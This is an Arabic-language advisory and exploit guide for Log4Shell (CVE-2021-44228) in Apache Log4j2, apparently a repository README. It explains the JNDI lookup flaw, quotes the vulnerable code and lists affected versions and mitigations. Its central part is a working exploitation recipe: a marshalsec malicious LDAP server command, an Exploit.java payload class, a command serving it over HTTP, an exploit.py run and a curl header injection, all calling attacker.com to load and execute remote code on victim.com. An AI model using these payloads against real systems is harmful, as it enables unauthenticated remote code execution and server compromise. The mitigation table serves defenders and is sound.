
CVE-2021-44228 Log4Shell - Apache Log4j2 حقن JNDI وتنفيذ التعليمات البرمجية عن بُعد (RCE)
CVSS 10.0 حرج | CWE-502: إلغاء تسلسل البيانات غير الموثوقة | CWE-917: تحييد غير صحيح لحقن لغة Expression
Log4Shell (CVE-2021-44228) هي على الأرجح أخطر ثغرة أمنية في العقد 2020، وتؤثر على Apache Log4j2 الإصدارات 2.0 حتى 2.14.1. اكتشفها Chen Zhaojun من Alibaba Cloud Security في نوفمبر 2021 وتم الكشف عنها علنًا في 9 ديسمبر 2021، وتسمح بتنفيذ التعليمات البرمجية عن بُعد دون مصادقة على مئات الملايين من الخوادم في جميع أنحاء العالم.
تنشأ الثغرة من ميزة بحث JNDI (واجهة Java لتسمية الدلائل) في Log4j2، والتي تسمح بسلاسل بحث عشوائية مثل ${jndi:ldap://attacker.com/a} في رسائل السجل. عندما يتم تسجيل سلسلة يتحكم بها المستخدم تحتوي على مثل هذا النمط، يقوم Log4j2 بإجراء بحث JNDI، والذي يمكنه تحميل وتنفيذ فئات Java عن بُعد.
قدّم Log4j2 ميزة تسمى "Message Lookup" تستبدل أنماط ${...} في رسائل السجل بقيم من مصادر مختلفة (JNDI، متغيرات البيئة، خصائص النظام، إلخ). تستدعي فئة JndiLookup (org.apache.logging.log4j.core.lookup.JndiLookup) InitialContext.lookup() على سلاسل يتحكم بها المهاجم دون تعقيم مناسب.
// Vulnerable code in JndiLookup.java
public String lookup(LogEvent event, String key) {
if (key == null) {
return null;
}
try {
// Directly passes attacker-controlled key to JNDI lookup
return JndiManager.getJndiManager().lookup(key);
} catch (...
توجّه طريقة lookup() إلى javax.naming.InitialContext.lookup()، والتي يمكنها تحميل كائنات عن بُعد من خوادم LDAP أو RMI أو DNS أو CORBA.
1. Attacker crafts payload: ${jndi:ldap://attacker.com/a}
2. Payload enters application context (HTTP header, user input, etc.)
3. Application logs the payload (e.g., via request logging)
4. Log4j2 processes the ${...} pattern and calls JndiLookup
5. JNDI lookup queries attacker-controlled LDAP server
6. LDAP server responds with a Reference pointing to attacker's Java class
7. Log4j2 / JVM fetches and loads the remote class
8. Attacker's class executes arbitrary code in the application's JVM
استخدم marshalsec لبدء خادم LDAP خبيث:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
// Exploit.java
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
javac Exploit.java
python3 -m http.server 80 # Serve Exploit.class
python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'
أو عبر عنوان HTTP:
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com
يوفّر exploit.py المرفق ما يلي:
| الإصدار | الحالة |
|---|
| Log4j 2.0 – 2.14.1 | ضعيف |
| Log4j 2.15.0-rc1 | إصلاح جزئي (تجاوز عبر CVE-2021-45046) |
| Log4j 2.15.0 | إصلاح محدود (تعطيل JNDI افتراضيًا، وحدود على عمليات البحث) |
| Log4j 2.16.0 | تعطيل JNDI وإزالة Message Lookups |
| Log4j 2.17.0 | الإصلاح النهائي لسلسلة 2.x (CVE-2021-44832) |
| Log4j 1.x | غير متأثر مباشرة (قاعدة بيانات مختلفة) |
| الأسلوب | التفاصيل |
|---|
| ترقية Log4j | الترقية إلى 2.17.0+ (سلسلة 2.x) أو 2.12.4+ (Java 7) |
| علامة JVM | -Dlog4j2.formatMsgNoLookups=true |
| إزالة JndiLookup | zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class |
| قواعد WAF | حظر أنماط ${jndi: في الطلبات |
| ضوابط الشبكة | حظر اتصالات LDAP/RMI الصادرة إلى خوادم غير موثوقة |